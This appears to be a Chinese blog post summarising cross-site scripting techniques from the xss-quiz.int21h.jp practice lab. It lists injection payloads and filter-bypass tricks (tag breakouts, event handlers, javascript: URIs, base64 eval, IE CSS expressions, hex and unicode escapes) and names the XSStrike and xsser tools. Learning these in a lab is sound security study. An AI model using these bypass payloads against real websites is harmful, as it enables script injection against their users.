zoukankan      html  css  js  c++  java
  • XSS(跨站脚本攻击)小结

    靶机地址:https://xss-quiz.int21h.jp/

    XSS漏洞发现:
    设置独一无二字符串提交,在响应中查找。

    定义和用法
    onmouseover 属性在鼠标指针移动到元素上时触发。
    注释:onmouseover 属性不适用以下元素:<base>、<bdo>、<br>、<head>、<html>、<iframe>、<meta>、<param>、<script>、<style> 或 <title>。
    1、标签属性中XSS
    例如:<input type="text" name="p1" size="50" value="111"> 其中111为用户输入,input标签、value属性
    1)闭合属性,闭合标签,引入script脚本或者svg标签。例如:"><script>alert(document.domain);</script> "><svg onload=alert(document.domain)>%0a "><svg/onload=alert(document.domain)>%0a
    2)闭合属性,引入事件,闭合标签。例如:" onmouseover="alert(document.domain)"> " onmouseover="alert(document.domain) 或者使用onclick事件
    2、文本区域中
    例如:<b>1111</b> 其中1111为用户输入
    闭合文本标签,引入script脚本。例如:</b><script>alert(document.domain);</script>
    3、HTML表单隐藏参数介绍
    隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。
    代码格式:包含在表单当中,且格式<input type="hidden" name="..." value="...">
    使用burpsuite抓包可查看到表单提交上关于隐藏域的名称和值
    HTML中svg介绍:svg意为可缩放矢量图形,svg使用XML格式定义图像。svg文件可通过以下标签嵌入HTML文档中:<embed>、<object>或者<iframe>。也可以使用<svg>标签插入。
    闭合:
    1)svg标签。闭合属性,闭合标签,引入svg标签(在script被过滤或<>被转义时):"><svg onload=alert(document.domain)>%0a "><svg/onload=alert(document.domain)>%0a
    2)闭合属性,闭合标签,引入script脚本:"><script>alert(document.domain);</script>
    4、空格分隔属性的XSS
    例如:<input type="text" name="p1" size="50" value="111"> 用户输入111
    <input type="text" name="p1" size="50" value="111" 111> 用户输入111 111
    <input type="text" name="p1" size="50" value="111" 222="111"> 用户输入111 222=111
    1)触发XSS,引入属性,输入:111 onclick=alert(document.domain);
    5、javascript伪协议触发的XSS
    javascript伪协议介绍:将javascript代码添加到客户端的方法时把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
    如果javascript:URL中的javascript代码含多个语句,必须使用分号将这些语句分隔开。
    javascript:var now=new Date(); "<h1>The time is:</h1>" + now;
    javascript URL还可以含有只执行操作,但不返回值的javascript语句。
    javascript:alert("hello world!")
    a链接标签属性href介绍:
    <a>标签定义超链接,用于从一个页面链接到另一个页面。
    <a>元素最重要的属性是href属性,它指定链接的目标。
    在所有浏览器中,链接的默认外观如下:
    未被访问的链接带有下划线而且是蓝色的
    已被访问的链接带有下划线而且是紫色的
    活动链接带有下划线而且是红色的
    构造payload触发XSS:
    <a href="111111"> 111111为用户输入
    payload:javascript:alert(document.domain)
    6、绕过过滤domain为空的XSS
    绕过思考:
    1、寻找过滤内容 输入"><script>alert(document.domain)</script> 在页面元素中发现<script>alert(document.)</script> ,过滤掉了domain
    2、思考绕过策略:双写绕过和编码绕过
    双写绕过:payload : "><script>alert(document.dodomainmain)</script>
    编码绕过:payload:"><script>eval(atob('base64加密alert(document.domain)后的值'));</script> 其中atob是将base64加密后的数据转换为字符串
    7、绕过替换script和on事件的XSS
    绕过思考:
    1、寻找过滤内容
    2、思考绕过策略:
    伪协议绕过:payload: "><a href="javascript=alert(document.domain)">xss</a>
    空格绕过:payload: "><a href="javascr ipt=alert(document.domain)">xss</a>
    8、利用IE特性绕过XSS过滤
    基本XSS利用:HTML事件触发XSS、闭合input标签,利用外部标签触发XSS
    当过滤"和><时,可利用IE浏览器的特性,IE中两个反引号``可以关闭左边一个双引号
    payload: `` onmouseover=alert(document.domain)
    9、利用CSS特性绕过XSS(IE低版本浏览器)
    基本XSS利用:HTML事件触发XSS、闭合input标签,利用外部标签触发XSS
    基本XSS利用无法生效时,可考虑此方法。
    CSS特性讲解:
    background:url("javascript:alert(document.domain);"); 设置背景颜色
    设置background:url,利用javascript伪协议执行js。目前IE浏览器支持,其他浏览器已不再支持。
    payload: background-color:#f00;background:url(javascript:alert(document.domain););
    10、IE中利用CSS触发XSS
    CSS介绍:层叠样式表是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准的通用标记语言的一个子集)等文件样式的计算机语言。CSS不仅可以静态的修饰网页,还可以配合
    各种脚本语言动态地对网页各元素进行格式化。
    CSS中执行js:
    css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在CSS中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到
    支持,后因标准、性能、安全性等问题,微软从IE8 Beta2标准模式开始,取消对css expression的支持
    实际应用:
    早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等。当然这些效果能够使用js来实现。
    虽然css表达式问题很多,但是我们依然能够在网站上看到它的影子,甚至在一些成熟的商业网站上。最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)
    注释绕过关键字过滤:
    CSS中的注释/**/
    绕过对关键字expression的过滤: ex/**/pression
    payload触发XSS:xss:ex/**/pression(if(!window.x){alert(document.domain);window.x=1;})
    11、16进制绕过过滤触发XSS
    16进制介绍:十六进制转换有16进制每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F 16个大小不同的数,即逢16进1,其中用A、B、C、D、E、F(字母不区分大小写)这六个字母分别来表示10、11、12、13、14、15.
    使用python将字符转换为16进制类型:
    import binascii
    print("\x" + binascii.b2a_hex(s))
    双斜杠+16进制绕过:
    输出点<>被转义后构造的双斜杠+16进制绕过的payload: \x3cscript\x3ealert(document.domain);\x3c/script\x3e
    12、unicode绕过过滤触发XSS
    unicode介绍:unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。unicode是为了解决传统的字符编码方案的局限而产生的。它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
    使用Python将字符转换为unicode类型:
    import binascii
    print ("\u0" +binascii.b2a_hex("<"))
    输出点<>被转义后构造的双斜杠+unicode编码绕过的payload:\u003cscript\u003ealert(document.domain);\u003c/script\u003e

    自动化工具XSS漏洞挖掘工具:
    xsser是一款用于针对Web应用程序自动化挖掘、利用、报告xss漏洞的框架。
    XSS_Fuzzing工具:
    XSStrike是一款检测Cross Site Scripting的高级检测工具。它继承了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个
    解析器分析响应,然后通过与模糊引擎继承的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。
    项目地址:https://github.com/s0md3v/XSStrike
    XSS工具安装:XSStrike只可以运行在python 3.6以上版本。

  • 相关阅读:
    vue中Axios的封装和API接口的管理
    解决Vue报错:TypeError: Cannot read property 'scrollHeight' of undefined
    JS-scrollTop、scrollHeight、clientTop、clientHeight、offsetTop、offsetHeight的理解
    理解Vue中的ref和$refs
    理解Vue中的nextTick
    CSS——overflow的参数以及使用
    JS数据结构——队列
    Vue中实现聊天窗口overflow:auto自动滚动到底部,实现显示当前最新聊天消息
    Vue中无法检测到数组的变动
    JS-观察者模式
  • 原文地址:https://www.cnblogs.com/Ben-john/p/13829678.html
Copyright © 2011-2022 走看看